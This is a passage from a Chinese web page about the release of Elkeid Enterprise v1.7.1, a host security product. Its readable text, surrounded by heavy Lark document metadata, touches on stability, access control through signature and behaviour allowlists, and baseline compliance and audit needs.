的主机安全产品来说，稳定性，对业务的性能影响也是至关重要的。&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;:{&#34;id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;page&#34;,&#34;parent_id&#34;:&#34;&#34;,&#34;comments&#34;:null,&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[&#34;doxcnimIyUMwy0KgIMlgBMMqnmg&#34;,&#34;doxcnYWEkWieecwsskRvTNl7KKh&#34;,&#34;doxcnuoeC2gwwicm2Gyx8DyVoAc&#34;,&#34;doxcnismKECwi822Qea1XkQEHHf&#34;,&#34;doxcnEmEE6EYmAw2ewjDhumikHe&#34;,&#34;doxcnUIUIIK68YMeqUfvqDwoS8L&#34;,&#34;doxcnEiYK6uQOMae6QHeZQ2fanf&#34;,&#34;doxcnSM4WaKOAsE6kUV37FxgLKb&#34;,&#34;doxcns46sOECGUIgCgfTCAjRRWh&#34;,&#34;doxcnsoGY6esKsWS2k9VWZkwJbc&#34;,&#34;doxcnSYK8MqS2y2WwQTAiJSsW1c&#34;,&#34;doxcno0m82ooum2UMOoU4hQhVFb&#34;,&#34;doxcnWEmEuqk6umAK6Fku9uTlPb&#34;,&#34;doxcnsYSk4yAuIEG8ELbtQguxcg&#34;,&#34;doxcnS2oywUoi2Cesi02VNinzSh&#34;,&#34;doxcnyE0mkYO6s6Qs8avlDPVepc&#34;,&#34;doxcnsmw4soOAkwesWNe5wFO363&#34;,&#34;doxcnUaIqYkGm2Y0yYBVjSj7UJe&#34;,&#34;doxcngaQUQeqGssEY4PEyanFFjh&#34;,&#34;doxcnamUq82cUUmaaU19HpnlMEg&#34;,&#34;doxcnqScq0gUaMkgoe6aEIrj7Xf&#34;,&#34;doxcnuKikuAUWYq4qwDbPxqXRFd&#34;,&#34;doxcneqUe0eg4OCA0WysAWxrN2c&#34;,&#34;doxcnyQSSCaYGQaISOSgqrTclPe&#34;,&#34;doxcnOce08EW64M68WopStcgi2g&#34;,&#34;doxcnKS66wkuOucYUwrlLG0Pt4B&#34;,&#34;doxcnIA62amaCSYQwism5e5KWwc&#34;,&#34;doxcnUqOiWyyYOCSwSEC41wN0lh&#34;,&#34;doxcnE2gc0IKym4qCgtCCC7bhUc&#34;,&#34;doxcnCeSOsMayCOewc7YhHMC4RH&#34;,&#34;doxcnya6gSq0siugQSOvMvFjUkg&#34;,&#34;doxcnw20MKQEiSMeYUBafjPlFDf&#34;,&#34;doxcn228GgQgEyOKS25ZX1KvPNd&#34;,&#34;doxcnkuU2kiYAGgWI6ZTDJ1ZX6e&#34;,&#34;doxcn6EwQo4SM6MAUS6Ku7HZ9Mb&#34;,&#34;doxcn6yY8QqMMeqaECWHCTAWMbb&#34;,&#34;doxcnGuYQSoeqA6Y8aIpbXph1Dh&#34;,&#34;doxcnGYqYsS0cmCuCGCI0KAEtye&#34;,&#34;doxcn4C0e6WMeuaawstFUL9WwDd&#34;,&#34;doxcnUEKw4uUsiugWqm6ysrKcng&#34;,&#34;doxcnOIukkcykQeSuKMesBiXbtd&#34;,&#34;doxcn2Ss4q8KSKkGos1c18fcuab&#34;,&#34;doxcnOGwcuC2kaoAQKSzFiGqkQe&#34;,&#34;doxcngqckmKSKwkkOWwnP495s7f&#34;,&#34;doxcnu2KuuYuoMEAW6MyckAprph&#34;,&#34;doxcnYQuQIieegmmIczmKPCuaXe&#34;,&#34;doxcnwuwOYWiaeYqOQ3wIzwGDxb&#34;,&#34;doxcnaeAGoUuo2qKwYRFadTnhoe&#34;,&#34;doxcngeI8oaCowU6cE3O2W8XSCg&#34;,&#34;doxcnWs80Osgs84kG6xDkTUXBiw&#34;,&#34;doxcnqAIkIsCi4UKmkGDFcjJxSO&#34;,&#34;doxcnSyYOsQsS6cuEAJHfeoaH0e&#34;,&#34;doxcnYCoUG4gYsMSeIXX0kwrH9b&#34;,&#34;doxcnk8qoUC6CMWSWamMdxsY63d&#34;,&#34;doxcneOmOSeKoq2QWCusI9MiQeY&#34;,&#34;doxcnskAi662Qcu00UV4EulYXug&#34;,&#34;doxcnk4QkQYAeewsQcDIDD4nI3c&#34;,&#34;doxcnQWWAmA0K2G2AUDbp5lJsFf&#34;,&#34;doxcn4WYEqKOmkCWqKoELHTv2Tc&#34;,&#34;doxcnMaM6kqWY4AQYYueGeFQOhb&#34;,&#34;doxcnuEuU2Ma0Qi62knD1IPqbTb&#34;,&#34;doxcniIouugS2smek2tOhjz6Xvd&#34;,&#34;doxcng8aKGogOgAAsAEj5NGlljb&#34;,&#34;doxcn8aegCiWoUGC6Omc5d2gLNh&#34;,&#34;doxcnSQkeOSqqqAqeS4DGhNwUHe&#34;,&#34;doxcnk0cOqgos8kegQdT3EjNKEf&#34;,&#34;doxcngkkekuqMIsskuq349gwq4f&#34;,&#34;doxcnyacaEcGSoaecghSjsVfHZg&#34;,&#34;doxcnIKAA0EKSwiuou625btmqOh&#34;,&#34;doxcnS4aCkYqgwEeeSOfMyqsj5f&#34;,&#34;doxcnw6mQkIMuwYuSYLaAYVlBje&#34;,&#34;doxcnguKAkCWeCUgym28mOdjHmd&#34;,&#34;doxcnGuqQwgkY2yecGB6SlGWK56&#34;,&#34;doxcnckuKWowYIeAa8vDdj4QHod&#34;,&#34;doxcno8M04aE2KOQMK45nEJFqlh&#34;,&#34;doxcneMkIOUY8U6uO475Z0q9hIh&#34;,&#34;doxcnkOUugassuKI6OUhPaVIIVd&#34;,&#34;doxcnAOGiQussWs8wst5jWnjTnd&#34;,&#34;doxcn4M0MSkuy4iKg8XpHNt3nXc&#34;,&#34;doxcnQW6M80m8cAsqu8txyRBmeh&#34;,&#34;doxcnKSYKQW8G8iEoEbpsO10wpf&#34;,&#34;doxcn8Ok20YEUscI4Ih1ZhVYJRf&#34;,&#34;doxcn6yggsECioyKOcdrZDxJfve&#34;,&#34;doxcnK6wG6KmUS2gqULJPgWD0Re&#34;,&#34;doxcnyM06ym60MqOA3vYXTYP4kN&#34;,&#34;doxcnGayaSaugwAqC6xZrw1Qc9b&#34;,&#34;doxcn00ks8kYcKEWKQFZJxA5HLd&#34;,&#34;doxcnEAAyksuWSKEoQDWBPMUvPb&#34;,&#34;doxcnqmw4OUsKkIAkeSLorCrMGg&#34;,&#34;doxcn8wek4Uk0MSu2iIA6qOaCu1&#34;,&#34;doxcnykqKs862AuicyQTt8wfxpe&#34;,&#34;doxcnk8MYuIOA8u22sltgqnXG8d&#34;,&#34;doxcnOq2oue8Ue00gCqGl6Ff7Yf&#34;,&#34;doxcn6Uma22EyMWSweCWqa7XKeb&#34;,&#34;doxcnWomma8Eou8UWIHEJWpK9Lg&#34;,&#34;doxcniOGeEqiMia6cW88TkyF3Hg&#34;,&#34;doxcnkmqqeucuKY0YupBxfhzTLS&#34;,&#34;doxcngKUkUcAyImQW6lBR4puF1e&#34;,&#34;doxcnkk0OauwEsYc2MRaIOcJoog&#34;,&#34;doxcnGkqoIuIOUaWgumFTZROXjg&#34;,&#34;doxcniiGsio8k2ySQi0E5YKvLPf&#34;,&#34;doxcnKuSq4WYKGsekSoYupo13yd&#34;,&#34;doxcnaW8QKICAYUGwYNNQctvHNf&#34;,&#34;doxcnm8OQ0IiG64EOqmIIIuKVwf&#34;,&#34;doxcn8E0mUkGKUW62SMQWpQxJld&#34;,&#34;doxcn88yEa0YAAyWMUlOzEjmOVg&#34;,&#34;doxcneQ0COIcKuu6sMvVrc7aqHh&#34;,&#34;doxcnGwC2EuwgKcK8iErEQPvRkc&#34;,&#34;doxcn0KyacsygMCCayWokepIVSU&#34;,&#34;doxcn4qq0A2qGGqUA4j8jax1Pqh&#34;,&#34;doxcnmIkUee2ICGqmyTuxbNIWD5&#34;,&#34;doxcnW4qwKCwS8oOSQx9DPMfL3b&#34;,&#34;doxcnGcyAkMCwMecc9UwLYXmdmj&#34;,&#34;doxcn8AiO0Om6AUKAOYZmCQ2gAd&#34;,&#34;doxcn88qWWYsAMA2guOxuw06ZGf&#34;,&#34;doxcnM2g4is2G80yUmmrYPiBkme&#34;,&#34;doxcne4KkG4Ak6GgwGKD4uvkrcb&#34;,&#34;doxcnGCuiO2wwmQAmusMd9Oeksh&#34;,&#34;doxcnIYcw8OoaA2cEGiy0KH8Kcb&#34;,&#34;doxcnAiIk6OC82ioWGGkNvWQ79f&#34;,&#34;doxcn0Ww04600kcymmcYouLHWXf&#34;,&#34;doxcnuGugGYcC2kIy0O7yOOiC6c&#34;,&#34;doxcn4k6iWyMq6amSo69JmwMYsC&#34;,&#34;doxcnKyemGSA4y26s8YknN7oHIc&#34;,&#34;doxcnQoMe8uaaWK0IYnE0YVnfKh&#34;,&#34;doxcnmuYIesuwKwioK20kzxejud&#34;,&#34;doxcnwwAogcSQKwWgo12deM7mWb&#34;,&#34;doxcnWuEeO6Ii2Ewm6YyhMRk00g&#34;,&#34;doxcny4uwWkqaKEgOwl0INTfyyh&#34;,&#34;doxcn4qQCAKOUaeGqolGoYRAuXc&#34;,&#34;doxcnC8au0McQEOkKUJAQTOVksf&#34;,&#34;doxcnem2Was2GWgoa4rSlDkQXGf&#34;,&#34;doxcnsg8geAoomiSUY52o105Dte&#34;,&#34;doxcnouW8IuE82OecwNyPimMiYb&#34;,&#34;doxcnOcGKqiw0KmcmEEVz9kDhHI&#34;,&#34;doxcnYayAWaOSUISwU9DnLVUFwg&#34;,&#34;doxcnQAG4WKck8Eq0KOFuvXcWHg&#34;,&#34;doxcnuGCisiSs4KgcIBn4AbinVb&#34;,&#34;doxcnAWk8M2ASeseW4spZIUadzb&#34;,&#34;doxcnuyqYmoOKgCaccMxEEdamtb&#34;,&#34;doxcnQWSeUiocISOKJCiDp4kZH0&#34;,&#34;doxcn2IWgsIcW0Ys2c1e6IyVrBd&#34;,&#34;doxcnAaWwOykqs2OIfGVcLPpXld&#34;,&#34;doxcn2UI4a8uyqaOccFDrl6J7gh&#34;,&#34;doxcnGY4oIeww0o4SyIb2pS7yLb&#34;,&#34;doxcnqS68K8Qg0uqCsvsOm9qDRh&#34;,&#34;doxcnQug6KisGmM6iQ9wKMsF3Yd&#34;,&#34;doxcnyMSgca84QeWsGg3BNTVFxc&#34;,&#34;doxcnuA4K6s8QU820Jqe5Ff6LzI&#34;,&#34;doxcnU64mwMQmgiQgymCUEotNJg&#34;,&#34;doxcnesoa06Ic4iGOu4hN1ipkif&#34;,&#34;doxcnMyE2W88wcwA0WzBM2oMY6B&#34;,&#34;doxcnOuIUAiwAws44k7H9Tl5uhf&#34;,&#34;doxcnQkWiGSUy6S6eg0PEpRWLqF&#34;,&#34;doxcn66CeY8GQag6021RTPUniPh&#34;,&#34;doxcnGEkKMwAA4skW6YMGzR9Ebh&#34;,&#34;doxcn6GqOcwGKoWwmK4Hxh9RYHt&#34;,&#34;doxcneucsyAOEuweekRe6rSeoic&#34;,&#34;doxcnSkcaAWeIiOQCsH08XMIT5b&#34;,&#34;doxcnWsKEKgeoWk4kcdJrGpvLNg&#34;,&#34;doxcnW2OOIw4iaEk6QkBx0HEtf9&#34;],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+m&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;Elkeid 企业版 v1.7.1 正式发布&#34;}}},&#34;align&#34;:&#34;&#34;}}},&#34;isRecordModified&#34;:false,&#34;payloadMap&#34;:{&#34;doxcnUaIqYkGm2Y0yYBVjSj7UJe&#34;:{&#34;level&#34;:1}},&#34;extra&#34;:{&#34;mention_page_title&#34;:{},&#34;external_mention_url&#34;:{}}}" data-lark-record-format="docx/record"></span></p><ul start="1" class="list-paddingleft-1"><li><p><strong>访问控制</strong></p></li></ul><p>可以通过更多的上下文进行行为限制，即签名+行为白名单，实现进一步的安全，而非单纯防御。</p><p><span data-lark-record-data="{&#34;isCut&#34;:false,&#34;pasteFlag&#34;:&#34;2437f651-effc-4822-8593-afcac3cc3992&#34;,&#34;rootId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;parentId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;start&#34;:18,&#34;end&#34;:19,&#34;blockIds&#34;:[20,21],&#34;recordIds&#34;:[&#34;doxcngaQUQeqGssEY4PEyanFFjh&#34;,&#34;doxcnamUq82cUUmaaU19HpnlMEg&#34;],&#34;recordMap&#34;:{&#34;doxcngaQUQeqGssEY4PEyanFFjh&#34;:{&#34;id&#34;:&#34;doxcngaQUQeqGssEY4PEyanFFjh&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;bullet&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:2,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;bold&#34;,&#34;true&#34;],&#34;1&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*1*0+4&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;访问控制&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnamUq82cUUmaaU19HpnlMEg&#34;:{&#34;id&#34;:&#34;doxcnamUq82cUUmaaU19HpnlMEg&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+17&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;可以通过更多的上下文进行行为限制，即签名+行为白名单，实现进一步的安全，而非单纯防御。&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;:{&#34;id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;page&#34;,&#34;parent_id&#34;:&#34;&#34;,&#34;comments&#34;:null,&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[&#34;doxcnimIyUMwy0KgIMlgBMMqnmg&#34;,&#34;doxcnYWEkWieecwsskRvTNl7KKh&#34;,&#34;doxcnuoeC2gwwicm2Gyx8DyVoAc&#34;,&#34;doxcnismKECwi822Qea1XkQEHHf&#34;,&#34;doxcnEmEE6EYmAw2ewjDhumikHe&#34;,&#34;doxcnUIUIIK68YMeqUfvqDwoS8L&#34;,&#34;doxcnEiYK6uQOMae6QHeZQ2fanf&#34;,&#34;doxcnSM4WaKOAsE6kUV37FxgLKb&#34;,&#34;doxcns46sOECGUIgCgfTCAjRRWh&#34;,&#34;doxcnsoGY6esKsWS2k9VWZkwJbc&#34;,&#34;doxcnSYK8MqS2y2WwQTAiJSsW1c&#34;,&#34;doxcno0m82ooum2UMOoU4hQhVFb&#34;,&#34;doxcnWEmEuqk6umAK6Fku9uTlPb&#34;,&#34;doxcnsYSk4yAuIEG8ELbtQguxcg&#34;,&#34;doxcnS2oywUoi2Cesi02VNinzSh&#34;,&#34;doxcnyE0mkYO6s6Qs8avlDPVepc&#34;,&#34;doxcnsmw4soOAkwesWNe5wFO363&#34;,&#34;doxcnUaIqYkGm2Y0yYBVjSj7UJe&#34;,&#34;doxcngaQUQeqGssEY4PEyanFFjh&#34;,&#34;doxcnamUq82cUUmaaU19HpnlMEg&#34;,&#34;doxcnqScq0gUaMkgoe6aEIrj7Xf&#34;,&#34;doxcnuKikuAUWYq4qwDbPxqXRFd&#34;,&#34;doxcneqUe0eg4OCA0WysAWxrN2c&#34;,&#34;doxcnyQSSCaYGQaISOSgqrTclPe&#34;,&#34;doxcnOce08EW64M68WopStcgi2g&#34;,&#34;doxcnKS66wkuOucYUwrlLG0Pt4B&#34;,&#34;doxcnIA62amaCSYQwism5e5KWwc&#34;,&#34;doxcnUqOiWyyYOCSwSEC41wN0lh&#34;,&#34;doxcnE2gc0IKym4qCgtCCC7bhUc&#34;,&#34;doxcnCeSOsMayCOewc7YhHMC4RH&#34;,&#34;doxcnya6gSq0siugQSOvMvFjUkg&#34;,&#34;doxcnw20MKQEiSMeYUBafjPlFDf&#34;,&#34;doxcn228GgQgEyOKS25ZX1KvPNd&#34;,&#34;doxcnkuU2kiYAGgWI6ZTDJ1ZX6e&#34;,&#34;doxcn6EwQo4SM6MAUS6Ku7HZ9Mb&#34;,&#34;doxcn6yY8QqMMeqaECWHCTAWMbb&#34;,&#34;doxcnGuYQSoeqA6Y8aIpbXph1Dh&#34;,&#34;doxcnGYqYsS0cmCuCGCI0KAEtye&#34;,&#34;doxcn4C0e6WMeuaawstFUL9WwDd&#34;,&#34;doxcnUEKw4uUsiugWqm6ysrKcng&#34;,&#34;doxcnOIukkcykQeSuKMesBiXbtd&#34;,&#34;doxcn2Ss4q8KSKkGos1c18fcuab&#34;,&#34;doxcnOGwcuC2kaoAQKSzFiGqkQe&#34;,&#34;doxcngqckmKSKwkkOWwnP495s7f&#34;,&#34;doxcnu2KuuYuoMEAW6MyckAprph&#34;,&#34;doxcnYQuQIieegmmIczmKPCuaXe&#34;,&#34;doxcnwuwOYWiaeYqOQ3wIzwGDxb&#34;,&#34;doxcnaeAGoUuo2qKwYRFadTnhoe&#34;,&#34;doxcngeI8oaCowU6cE3O2W8XSCg&#34;,&#34;doxcnWs80Osgs84kG6xDkTUXBiw&#34;,&#34;doxcnqAIkIsCi4UKmkGDFcjJxSO&#34;,&#34;doxcnSyYOsQsS6cuEAJHfeoaH0e&#34;,&#34;doxcnYCoUG4gYsMSeIXX0kwrH9b&#34;,&#34;doxcnk8qoUC6CMWSWamMdxsY63d&#34;,&#34;doxcneOmOSeKoq2QWCusI9MiQeY&#34;,&#34;doxcnskAi662Qcu00UV4EulYXug&#34;,&#34;doxcnk4QkQYAeewsQcDIDD4nI3c&#34;,&#34;doxcnQWWAmA0K2G2AUDbp5lJsFf&#34;,&#34;doxcn4WYEqKOmkCWqKoELHTv2Tc&#34;,&#34;doxcnMaM6kqWY4AQYYueGeFQOhb&#34;,&#34;doxcnuEuU2Ma0Qi62knD1IPqbTb&#34;,&#34;doxcniIouugS2smek2tOhjz6Xvd&#34;,&#34;doxcng8aKGogOgAAsAEj5NGlljb&#34;,&#34;doxcn8aegCiWoUGC6Omc5d2gLNh&#34;,&#34;doxcnSQkeOSqqqAqeS4DGhNwUHe&#34;,&#34;doxcnk0cOqgos8kegQdT3EjNKEf&#34;,&#34;doxcngkkekuqMIsskuq349gwq4f&#34;,&#34;doxcnyacaEcGSoaecghSjsVfHZg&#34;,&#34;doxcnIKAA0EKSwiuou625btmqOh&#34;,&#34;doxcnS4aCkYqgwEeeSOfMyqsj5f&#34;,&#34;doxcnw6mQkIMuwYuSYLaAYVlBje&#34;,&#34;doxcnguKAkCWeCUgym28mOdjHmd&#34;,&#34;doxcnGuqQwgkY2yecGB6SlGWK56&#34;,&#34;doxcnckuKWowYIeAa8vDdj4QHod&#34;,&#34;doxcno8M04aE2KOQMK45nEJFqlh&#34;,&#34;doxcneMkIOUY8U6uO475Z0q9hIh&#34;,&#34;doxcnkOUugassuKI6OUhPaVIIVd&#34;,&#34;doxcnAOGiQussWs8wst5jWnjTnd&#34;,&#34;doxcn4M0MSkuy4iKg8XpHNt3nXc&#34;,&#34;doxcnQW6M80m8cAsqu8txyRBmeh&#34;,&#34;doxcnKSYKQW8G8iEoEbpsO10wpf&#34;,&#34;doxcn8Ok20YEUscI4Ih1ZhVYJRf&#34;,&#34;doxcn6yggsECioyKOcdrZDxJfve&#34;,&#34;doxcnK6wG6KmUS2gqULJPgWD0Re&#34;,&#34;doxcnyM06ym60MqOA3vYXTYP4kN&#34;,&#34;doxcnGayaSaugwAqC6xZrw1Qc9b&#34;,&#34;doxcn00ks8kYcKEWKQFZJxA5HLd&#34;,&#34;doxcnEAAyksuWSKEoQDWBPMUvPb&#34;,&#34;doxcnqmw4OUsKkIAkeSLorCrMGg&#34;,&#34;doxcn8wek4Uk0MSu2iIA6qOaCu1&#34;,&#34;doxcnykqKs862AuicyQTt8wfxpe&#34;,&#34;doxcnk8MYuIOA8u22sltgqnXG8d&#34;,&#34;doxcnOq2oue8Ue00gCqGl6Ff7Yf&#34;,&#34;doxcn6Uma22EyMWSweCWqa7XKeb&#34;,&#34;doxcnWomma8Eou8UWIHEJWpK9Lg&#34;,&#34;doxcniOGeEqiMia6cW88TkyF3Hg&#34;,&#34;doxcnkmqqeucuKY0YupBxfhzTLS&#34;,&#34;doxcngKUkUcAyImQW6lBR4puF1e&#34;,&#34;doxcnkk0OauwEsYc2MRaIOcJoog&#34;,&#34;doxcnGkqoIuIOUaWgumFTZROXjg&#34;,&#34;doxcniiGsio8k2ySQi0E5YKvLPf&#34;,&#34;doxcnKuSq4WYKGsekSoYupo13yd&#34;,&#34;doxcnaW8QKICAYUGwYNNQctvHNf&#34;,&#34;doxcnm8OQ0IiG64EOqmIIIuKVwf&#34;,&#34;doxcn8E0mUkGKUW62SMQWpQxJld&#34;,&#34;doxcn88yEa0YAAyWMUlOzEjmOVg&#34;,&#34;doxcneQ0COIcKuu6sMvVrc7aqHh&#34;,&#34;doxcnGwC2EuwgKcK8iErEQPvRkc&#34;,&#34;doxcn0KyacsygMCCayWokepIVSU&#34;,&#34;doxcn4qq0A2qGGqUA4j8jax1Pqh&#34;,&#34;doxcnmIkUee2ICGqmyTuxbNIWD5&#34;,&#34;doxcnW4qwKCwS8oOSQx9DPMfL3b&#34;,&#34;doxcnGcyAkMCwMecc9UwLYXmdmj&#34;,&#34;doxcn8AiO0Om6AUKAOYZmCQ2gAd&#34;,&#34;doxcn88qWWYsAMA2guOxuw06ZGf&#34;,&#34;doxcnM2g4is2G80yUmmrYPiBkme&#34;,&#34;doxcne4KkG4Ak6GgwGKD4uvkrcb&#34;,&#34;doxcnGCuiO2wwmQAmusMd9Oeksh&#34;,&#34;doxcnIYcw8OoaA2cEGiy0KH8Kcb&#34;,&#34;doxcnAiIk6OC82ioWGGkNvWQ79f&#34;,&#34;doxcn0Ww04600kcymmcYouLHWXf&#34;,&#34;doxcnuGugGYcC2kIy0O7yOOiC6c&#34;,&#34;doxcn4k6iWyMq6amSo69JmwMYsC&#34;,&#34;doxcnKyemGSA4y26s8YknN7oHIc&#34;,&#34;doxcnQoMe8uaaWK0IYnE0YVnfKh&#34;,&#34;doxcnmuYIesuwKwioK20kzxejud&#34;,&#34;doxcnwwAogcSQKwWgo12deM7mWb&#34;,&#34;doxcnWuEeO6Ii2Ewm6YyhMRk00g&#34;,&#34;doxcny4uwWkqaKEgOwl0INTfyyh&#34;,&#34;doxcn4qQCAKOUaeGqolGoYRAuXc&#34;,&#34;doxcnC8au0McQEOkKUJAQTOVksf&#34;,&#34;doxcnem2Was2GWgoa4rSlDkQXGf&#34;,&#34;doxcnsg8geAoomiSUY52o105Dte&#34;,&#34;doxcnouW8IuE82OecwNyPimMiYb&#34;,&#34;doxcnOcGKqiw0KmcmEEVz9kDhHI&#34;,&#34;doxcnYayAWaOSUISwU9DnLVUFwg&#34;,&#34;doxcnQAG4WKck8Eq0KOFuvXcWHg&#34;,&#34;doxcnuGCisiSs4KgcIBn4AbinVb&#34;,&#34;doxcnAWk8M2ASeseW4spZIUadzb&#34;,&#34;doxcnuyqYmoOKgCaccMxEEdamtb&#34;,&#34;doxcnQWSeUiocISOKJCiDp4kZH0&#34;,&#34;doxcn2IWgsIcW0Ys2c1e6IyVrBd&#34;,&#34;doxcnAaWwOykqs2OIfGVcLPpXld&#34;,&#34;doxcn2UI4a8uyqaOccFDrl6J7gh&#34;,&#34;doxcnGY4oIeww0o4SyIb2pS7yLb&#34;,&#34;doxcnqS68K8Qg0uqCsvsOm9qDRh&#34;,&#34;doxcnQug6KisGmM6iQ9wKMsF3Yd&#34;,&#34;doxcnyMSgca84QeWsGg3BNTVFxc&#34;,&#34;doxcnuA4K6s8QU820Jqe5Ff6LzI&#34;,&#34;doxcnU64mwMQmgiQgymCUEotNJg&#34;,&#34;doxcnesoa06Ic4iGOu4hN1ipkif&#34;,&#34;doxcnMyE2W88wcwA0WzBM2oMY6B&#34;,&#34;doxcnOuIUAiwAws44k7H9Tl5uhf&#34;,&#34;doxcnQkWiGSUy6S6eg0PEpRWLqF&#34;,&#34;doxcn66CeY8GQag6021RTPUniPh&#34;,&#34;doxcnGEkKMwAA4skW6YMGzR9Ebh&#34;,&#34;doxcn6GqOcwGKoWwmK4Hxh9RYHt&#34;,&#34;doxcneucsyAOEuweekRe6rSeoic&#34;,&#34;doxcnSkcaAWeIiOQCsH08XMIT5b&#34;,&#34;doxcnWsKEKgeoWk4kcdJrGpvLNg&#34;,&#34;doxcnW2OOIw4iaEk6QkBx0HEtf9&#34;],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+m&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;Elkeid 企业版 v1.7.1 正式发布&#34;}}},&#34;align&#34;:&#34;&#34;}}},&#34;isRecordModified&#34;:false,&#34;payloadMap&#34;:{&#34;doxcnamUq82cUUmaaU19HpnlMEg&#34;:{&#34;level&#34;:1}},&#34;extra&#34;:{&#34;mention_page_title&#34;:{},&#34;external_mention_url&#34;:{}}}" data-lark-record-format="docx/record"></span></p><p><span data-lark-record-data="{&#34;isCut&#34;:false,&#34;pasteFlag&#34;:&#34;2437f651-effc-4822-8593-afcac3cc3992&#34;,&#34;rootId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;parentId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;start&#34;:8,&#34;end&#34;:9,&#34;blockIds&#34;:[10,11],&#34;recordIds&#34;:[&#34;doxcns46sOECGUIgCgfTCAjRRWh&#34;,&#34;doxcnsoGY6esKsWS2k9VWZkwJbc&#34;],&#34;recordMap&#34;:{&#34;doxcns46sOECGUIgCgfTCAjRRWh&#34;:{&#34;id&#34;:&#34;doxcns46sOECGUIgCgfTCAjRRWh&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;bullet&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:2,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;bold&#34;,&#34;true&#34;],&#34;1&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*1*0+4&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;合规需求&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnsoGY6esKsWS2k9VWZkwJbc&#34;:{&#34;id&#34;:&#34;doxcnsoGY6esKsWS2k9VWZkwJbc&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:2,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;],&#34;1&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;c30ff534-bde0-44ec-8c56-8aa7d5344ea9\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_42440638\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+k*1*0+2*0+1c&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;我们的生产环境服务器是否可以满足一些基础基线的安全配置？又有多少服务器存在潜在的配置或合规性风险？内外审计的需求也是主机安全的核心诉求之一。&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;:{&#34;id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;page&#34;,&#34;parent_id&#34;:&#34;&#34;,&#34;comments&#34;:null,&#34;locked&#34;:false,&#34;hidden&#34;:false,&#